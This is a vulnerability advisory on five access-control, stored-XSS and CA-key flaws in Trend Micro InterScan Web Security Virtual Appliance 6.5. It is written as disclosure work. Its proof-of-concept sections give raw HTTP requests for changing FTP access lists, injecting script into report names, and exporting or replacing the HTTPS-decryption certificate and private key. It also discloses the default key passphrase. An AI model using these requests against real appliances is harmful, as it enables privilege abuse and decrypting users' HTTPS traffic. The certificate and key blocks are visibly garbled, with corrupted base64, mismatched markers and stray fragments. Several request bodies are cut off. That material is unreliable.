Multiple Vulnerabilities in Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5.x

SYNOPSIS:

TrendMicro InterScan Web Security Virtual Appliance (IWSVA) does not implement functional level access control properly.

Reference:

http://downloadcenter.trendmicro.com/?prodid=86&regs=NABU

CVE:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6338
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6339
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6340

VULNERABILITY DETAILS:

Vulnerability 1: Missing functional level access control allows an authenticated user change FTP access control setting

An authenticated, remote user with least privilege/role (a user with ‘Auditor’ role) can change ‘FTP Access Control Settings’ to add his own machines IP address into allowed IP addresses list.

Vulnerable/Tested Version:

InterScan Web Security Virtual Appliance version IWSVA 6.5-SP2 Critical Patch Build 1739. Older versions are also affected.
Risk Factor: Medium

Impact:
An attacker with read only rights can change ‘FTP Access Control Settings’ by sending a specially crafted POST request.

Proof-Of-Concept:
1. Create a least privileged user ‘Auditor’ and assign it ‘Auditor’ role.

2. Log into IWSVA web console with least privilege user ‘Auditor’.
3. FTP Access Control Settings

4. Make sure that you don’t have FTP access

```
root@kaps-virtual-machine:/# ftp 192.168.253.150
Connected to 192.168.253.150.
421 Your IP (192.168.253.133) does not have access to the IWSVA server. Contact your network administrator.
421 Connection rejected
ftp> bye
```

5. Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.
6. Send following POST request using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSSESSIONID’ values obtained earlier. Follow redirections in BurpSuite to complete the request.

```plaintext
POST /ftp_clientip.jsp HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=443F1AAE87DC29CD98963E03639E9271
Connection: close
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 250

CSRFGuardToken=ESED4V87KWDVPEHWC4BYXW86SV9IW5EW&op=save&change_op=nochange&daemonaction=8&input_tips=40+characters+maximum&ftp__use_client_acl=yes&use_client_acl_view=yes&inputtype=ip&ip=192.168.253.133&desc=Ubuntu&itemlist=192.168.253.133+%3BUbuntu
```

5. This enables FTP access.

```
root@kaps-virtual-machine:/# ftp 192.168.253.150
Connected to 192.168.253.150.
220 IWSS FTP proxy ready
Name (192.168.253.150:root): 
```

6. Now log into IWSVA web console as admin from another browser and check to see if FTP Access Control List has been updated.
Note: Per #3, the FTP ACL list did not have any IP addresses there but FTP access based on client IP was still enabled. In either case, the above request would add an IP address to the list wiping out existing IP address if any.
**Vulnerability 2 - Stored Cross-Site Scripting (XSS)**

An authenticated, remote attacker can inject a Java script while creating a new report that results in a stored cross-site scripting attack.

**Risk Factor:** Medium

**Impact:**
An attacker with low privileges can inject malicious Java script by sending a specially crafted POST request to add a new user (which he shouldn’t be able to as per Vulnerability#1 mentioned above).

**Vulnerable Parameters:** -

a. name

**Note:** Other parameters may be vulnerable.

**CVSS Score:** AV:N/AC:L/AU:S/C:N/I:P/A:N

**Proof-Of-Concept:**

1. Create a least privileged user ‘test’ and assign it ‘Reports Only’ role.
2. Log into IWSVA web console with least privilege user ‘test’.
3. Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.
4. Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSESSIONID’ values obtained earlier. Follow redirections in BurpSuite to complete the request.

---

**Request#1:**

```plaintext
POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"check_name","name":"TestReport1\<script\>alert("Hola Report!")\</script\>"}
```

---

**Request#2:**

```plaintext
POST /rest/commonlog/report/template HTTP/1.1
```
5. Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see alert 'Hola Report!'.
Audit Log:
Vulnerability 3- Missing functional level access control allows an Auditor user modify existing reports or create new one, thus can exploit Stored Cross-Site Scripting vulnerability mentioned above.

An authenticated, remote attacker with ‘Auditor’ role assigned to him/her, can modify existing reports or create a new one. This user can also exploit the stored cross-site scripting vulnerability mentioned above.

Risk Factor: Medium

Impact:

An attacker with low privileges can create/modify reports and inject malicious Java script by sending a specially crafted POST request.

Vulnerable Parameters:

b. name

Note: Other parameters may be vulnerable.

CVSS Score: AV:N/AC:L/AU:S/C:N/I:P/A:N

Proof-Of-Concept:

1. Create a least privileged user ‘Auditor’ and assign it ‘Auditor’ role.
2. Log into IWSVA web console with least privilege user ‘Auditor’.
3. Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.
4. Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSESSIONID’ values obtained earlier. Follow redirections in BurpSuite to complete the request.

Request#1:

```plaintext
POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 92
Cookie: JSESSIONID=E7002FCE8A03291749B1449541B9844C
Connection: close

{"action":"check_name","name":"AuditorsReport\<script>\alert("Hola Auditor!")\</script>"}
```

Request#2:
Note: An existing report can be modified by setting “action”:"modify" and providing an appropriate report and template ‘tid’.

5. Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see alert 'Hola Auditor!'.
Audit Log:
Vulnerability 4- Sensitive Information Disclosure:

An authenticated, remote attacker with least privileges (‘Read-Only’ or ‘Auditor’ role assigned to him/her), can download HTTPS Decryption certificate and private key.

Risk Factor: **High**

Impact:

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA. An attacker with low privileges can download current CA certificate and Private Key (either the default ones or uploaded by administrators) and use those to decrypt HTTPS traffic thus compromising confidentiality.

Also, the default Private Key on this appliance is encrypted with very weak and guessable passphrase ‘trend’. If an appliance uses default Certificate and Private Key provided by Trend Micro, an attacker can simply download these and decrypt the Private Key using default passphrase ‘trend’.

**CVSS Score:** AV:N/AC:L/AU:S/C:C/I:C/A:N

**Proof-Of-Concept:**

1. Create a least privileged user ‘**Test2**’ and assign him either ‘**Auditor**’ or ‘**Reports Only**’ role.
2. Log into IWSVA web console with least privilege user ‘**Test2**’.
3. Note down ‘**CSRFGuardToken**’ and ‘**JSESSIONID**’ values for this session.
4. Send following POST requests using BurpSuite Repeater with ‘**CSRFGuardToken**’ and ‘**JSESSIONID**’ values obtained earlier. Follow redirections in BurpSuite to complete the request.

**Request#1:**

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportcert HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=564D4B2C0A9DE1B0700F9E019BFBF58
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 147

CSRFGuardToken=RHPK4UQEZBU6G6GV0BX9DYA2NLD3WPFW&op=save&defaultca=no&importca_certificate=&importca_key=&importca_passphrase=&importca_2passphrase=

**Request#2:**

POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=exportkey HTTP/1.1
The first request downloads CA Certificate ‘get_current_ca_cert.cer’ and the second one downloads Private Key ‘get_current_ca_key.cer’.

**CA Certificate**

```
-----BEGIN CERTIFICATE-----
MIID4TCCAsmgAwIBAgIJALS+n7oMsMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNV
BAgTAkNBMA4GA1UEChMKMEUwHhcNMTczMDkwMDc4MDA0WhcNMjczMzQwMTAw
sha256
-----END CERTIFICATE-----
```
6. Decrypt the Private Key using passphrase ‘trend’
7. To confirm if the certificate and private key match, use SSLHopper Certificate Key Matcher:

## Enter your Certificate:

```
ssl+R02L2Qyu1.xz68Vvym7/xq05XMc Device:11g/s62Wm7y3+1h6c6y9yQ9D/xwR2UJ
7E7Gd785LeL56nEguSMcQyjKlC5aOemGy3/yd2WqK07T140XbZ745UUrOml4
6v6C033iDEj4/6y6/6ux3Go/6L8e9hFerFv4C9c7uQ9DAQABw4B
```

![Certificate key match](image)

## Enter your Private Key:

```
PRIVATE KEY:
```

![Private key warning](image)

--- END CERTIFICATE ---

Your private key is intended to remain on the server. While we try to make this process as secure as possible by using SSL to encrypt the key when it is sent to the server, for complete security, we recommend that you manually check the modulus of the private key on your server using the OpenSSL commands above.
Vulnerability 5 - Missing functional level access control allows a low privileged user upload HTTPS Decryption Certificate and Private Key:

An authenticated, remote attacker with low privileges ("Reports Only" or "Auditor" role assigned to him/her) can upload HTTPS Decryption Certificate and Private Key.

**Risk Factor:** High

**Impact:**

Per IWSVA documentation, by default, IWSVA acts as a private Certificate Authority (CA) and dynamically generates digital certificates that are sent to client browsers to complete a secure passage for HTTPS connections. It also allows administrators to upload their own certificates signed by root CA.

An attacker with low privileges can upload new CA certificate and Private Key and use those to decrypt HTTPS traffic thus compromising confidentiality.

**CVSS Score:** AV:N/AC:L/AU:S/C:C/I:C/A:N

**Proof-Of-Concept:**

1. Create a least privileged user ‘Test2’ and assign him either ‘Auditor’ or ‘Reports Only’ role.
2. Log into IWSVA web console with least privilege user ‘Test2’.
3. Note down ‘CSRFGuardToken’ and ‘JSESSIONID’ values for this session.
4. Send following POST requests using BurpSuite Repeater with ‘CSRFGuardToken’ and ‘JSESSIONID’ values obtained earlier. Follow redirections in BurpSuite to complete the request. To confirm if the

```plaintext
POST /servlet/com.trend.iwss.gui.servlet.XMLRPCcert?action=import HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e11fd2fd0ac0
Accept-Encoding: gzip, deflate
Content-Length: 4085
Host: 192.168.253.150:1812
Pragma: no-cache
Cookie: JSESSIONID=E595855EF5900782921945280ABA46CD
Connection: close

---------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="CSRFGuardToken"
S8PM5QG974XLWS992MCK5M67T6D0A575
---------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="op"
save
---------------------------7e11fd2fd0ac0
Content-Disposition: form-data; name="defaultca"
```
-----BEGIN CERTIFICATE-----
MIID4TCCAmgAwIBAgIAlaAQA0DQBBBAEwJDAwNAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQsF
AAoIBGkkIgYIQSwgihMCAgYQMA0GCSqGSIb3DQEBCwUGA1UdDgQGCigFzEExkNgwa8OL
v+R12gEhMVQ0Y3tVSHq9CjITQ11OxTHV13ZjzEsJ0ZcTgfZICwvR907Sfn7pJ0gA8O3
3kcm42d6t8YXwHryv7n2qF9ZwHuyD2GvB1B4uH0UkYkTv9Y4QzZ6MlCjvV+Ago4CE
-----END CERTIFICATE-----

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApucvwAB5OAzgiboEaxrVZXptp0LSjrL6/b8C0TNK59obTulepTGVs
m9O2Hj/b3wZpxWZCklYECPrkz6QvTFdpH5g9ZTz+6bn7D0bLx4mxZMY4tdGBlx2gMPm69PioYb59hl
9hvJ9vCQ2Wqo7Lc0fXO+159L+R032LSyuTtw2iBVYym7rXqXRFmc6fbk1q/68qWp8fhX+F9c8xJQyDQLOwRSU
QEGd085LeEdn9NACi9yXyiQ905bORM0yoc/dy2wXIOT7VfuocBj8UIMLoKnt4
v6C033JipcJSNh3H0zif6i/D5+UfXwsoG/i8LsHfohtYFw+xFqc7uQIDAQABo4HB
MIG+MA8GCWCGSMAGG+EIBDBCGFgAwHQYDAVR0OBBYEFDo4srmRc0fVrT8/j0+jhGLg
CpfMH4GA1UdlwR3MHWAFLD0smmRc10fVrT8/j0+jhGLgCpfFoVKeUDBOMQswCQYD
VQQIEwJDQTELMAkGA1UBxMCQ1UxJAMBGvNVBAoTBVR
-----END CERTIFICATE-----
5. Above request will delete/remove existing certificates and add new one. To confirm if the certificate and private key were uploaded successfully, log in with Administrator account and download the certificate/key. These should be the ones that you uploaded earlier.
CREDITS:

The discovery and documentation of this vulnerability was conducted by Kapil Khot, Qualys Vulnerability Signature/Research Team.

CONTACT:

For more information about the Qualys Security Research Team, visit our website at http://www.qualys.com or send email to research@qualys.com

LEGAL NOTICE:

The information contained within this advisory is Copyright (C) 2017 Qualys Inc. It may be redistributed provided that no fee is charged for distribution and that the advisory is not modified in any way.